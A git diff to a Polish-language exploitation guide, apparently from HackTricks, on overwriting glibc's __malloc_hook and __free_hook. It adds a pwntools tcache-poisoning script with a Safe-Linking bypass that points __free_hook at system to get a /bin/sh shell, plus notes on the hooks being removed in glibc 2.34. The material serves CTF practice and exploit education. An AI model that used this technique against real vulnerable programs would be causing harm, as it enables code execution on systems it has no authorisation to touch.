diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md index 10ecfbd62..76d677807 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md @@ -1,4 +1,4 @@ -# WWW2Exec - \_\_malloc_hook & \_\_free_hook +# WWW2Exec - __malloc_hook & __free_hook {{#include ../../banners/hacktricks-training.md}} @@ -6,7 +6,7 @@ Jak można zobaczyć na [oficjalnej stronie GNU](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), zmienna **`__malloc_hook`** jest wskaźnikiem wskazującym na **adres funkcji, która będzie wywoływana** za każdym razem, gdy wywoływana jest `malloc()`, **przechowywana w sekcji danych biblioteki libc**. Dlatego, jeśli ten adres zostanie nadpisany na przykład przez **One Gadget**, a `malloc` zostanie wywołane, **One Gadget zostanie wywołany**. -Aby wywołać malloc, można poczekać, aż program go wywoła, lub **wywołując `printf("%10000$c")**, co alokuje zbyt wiele bajtów, co powoduje, że `libc` wywołuje malloc, aby je alokować w stercie. +Aby wywołać malloc, można poczekać, aż program go wywoła, lub **wywołać `printf("%10000$c")**, co alokuje zbyt wiele bajtów, co powoduje, że `libc` wywołuje malloc, aby je alokować w stercie. Więcej informacji o One Gadget w: @@ -47,7 +47,7 @@ W wspomnianym punkcie przerwania w powyższym kodzie w `$eax` znajdować się b Teraz przeprowadzany jest **atak na szybkie biny**: -- Przede wszystkim odkryto, że możliwe jest operowanie na szybkich **chunkach o rozmiarze 200** w lokalizacji **`__free_hook`**: +- Po pierwsze odkryto, że możliwe jest operowanie na szybkich **chunkach o rozmiarze 200** w lokalizacji **`__free_hook`**: -
gef➤ p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
@@ -57,14 +57,79 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
- Jeśli uda nam się uzyskać szybki chunk o rozmiarze 0x200 w tej lokalizacji, będzie możliwe nadpisanie wskaźnika funkcji, który zostanie wykonany.
-- W tym celu tworzony jest nowy chunk o rozmiarze `0xfc`, a połączona funkcja jest wywoływana z tym wskaźnikiem dwukrotnie, w ten sposób uzyskujemy wskaźnik do zwolnionego chunka o rozmiarze `0xfc*2 = 0x1f8` w szybkim binie.
+- W tym celu tworzony jest nowy chunk o rozmiarze `0xfc`, a funkcja scalająca jest wywoływana z tym wskaźnikiem dwukrotnie, w ten sposób uzyskujemy wskaźnik do zwolnionego chunka o rozmiarze `0xfc*2 = 0x1f8` w szybkim binie.
- Następnie wywoływana jest funkcja edytująca w tym chunku, aby zmodyfikować adres **`fd`** tego szybkiego bina, aby wskazywał na poprzednią funkcję **`__free_hook`**.
- Potem tworzony jest chunk o rozmiarze `0x1f8`, aby odzyskać z szybkiego bina poprzedni bezużyteczny chunk, więc tworzony jest kolejny chunk o rozmiarze `0x1f8`, aby uzyskać szybki chunk w **`__free_hook`**, który jest nadpisywany adresem funkcji **`system`**.
- A na koniec chunk zawierający ciąg `/bin/sh\x00` jest zwalniany, wywołując funkcję usuwania, co uruchamia funkcję **`__free_hook`**, która wskazuje na system z `/bin/sh\x00` jako parametrem.
-## Odniesienia
+---
+
+## Zatrucie Tcache i Safe-Linking (glibc 2.32 – 2.33)
+
+glibc 2.32 wprowadził **Safe-Linking** – kontrolę integralności, która chroni *pojedyncze* listy powiązane używane przez **tcache** i szybkie biny. Zamiast przechowywać surowy wskaźnik do przodu (`fd`), ptmalloc teraz przechowuje go *z obfuskacją* za pomocą następującego makra:
+```c
+#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
+#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
+```
+Konsekwencje dla eksploatacji:
+
+1. **heap leak** jest obowiązkowy – atakujący musi znać wartość czasu wykonania `chunk_addr >> 12`, aby stworzyć ważny zafałszowany wskaźnik.
+2. Tylko *pełny* 8-bajtowy wskaźnik może być sfałszowany; częściowe nadpisania jednego bajtu nie przejdą sprawdzenia.
+
+Minimalny prymityw tcache-poisoning, który nadpisuje `__free_hook` w glibc 2.32/2.33, wygląda zatem następująco:
+```py
+from pwn import *
+
+libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
+p = process("./vuln")
+
+# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
+heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
+heap_base = heap_leak & ~0xfff
+fd_key = heap_base >> 12 # value used by PROTECT_PTR
+log.success(f"heap @ {hex(heap_base)}")
+
+# 2. Prepare two same-size chunks and double-free one of them
+a = malloc(0x48)
+b = malloc(0x48)
+free(a)
+free(b)
+free(a) # tcache double-free ⇒ poisoning primitive
+
+# 3. Forge obfuscated fd that points to __free_hook
+free_hook = libc.sym['__free_hook']
+poison = free_hook ^ fd_key
+edit(a, p64(poison)) # overwrite fd of tcache entry
+
+# 4. Two mallocs: the second one returns a pointer to __free_hook
+malloc(0x48) # returns chunk a
+c = malloc(0x48) # returns chunk @ __free_hook
+edit(c, p64(libc.sym['system']))
+
+# 5. Trigger
+bin_sh = malloc(0x48)
+edit(bin_sh, b"/bin/sh\x00")
+free(bin_sh)
+```
+Fragment powyżej został dostosowany z ostatnich wyzwań CTF, takich jak *UIUCTF 2024 – «Rusty Pointers»* i *openECSC 2023 – «Babyheap G»*, które polegały na obejściach Safe-Linking w celu nadpisania `__free_hook`.
+
+---
+
+## Co zmieniło się w glibc ≥ 2.34?
+
+Począwszy od **glibc 2.34 (sierpień 2021)**, haki alokacji `__malloc_hook`, `__realloc_hook`, `__memalign_hook` i `__free_hook` zostały **usunięte z publicznego API i nie są już wywoływane przez alokator**. Symbole zgodności są nadal eksportowane dla starszych binariów, ale ich nadpisanie nie wpływa już na kontrolę przepływu `malloc()` lub `free()`.
+
+Praktyczna implikacja: w nowoczesnych dystrybucjach (Ubuntu 22.04+, Fedora 35+, Debian 12 itd.) musisz przejść do *innych* prymitywów przejęcia (IO-FILE, `__run_exit_handlers`, spryskiwanie vtable itd.), ponieważ nadpisania haków będą cicho zawodzić.
+
+Jeśli nadal potrzebujesz starego zachowania do debugowania, glibc dostarcza `libc_malloc_debug.so`, które można wstępnie załadować, aby ponownie włączyć starsze haki – ale biblioteka **nie jest przeznaczona do produkcji i może zniknąć w przyszłych wydaniach**.
+
+---
+
+## Referencje
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
+- Safe-Linking – Eliminacja 20-letniego prymitywu exploita malloc() (Check Point Research, 2020)
+- Notatki z wydania glibc 2.34 – usunięcie haków malloc
{{#include ../../banners/hacktricks-training.md}}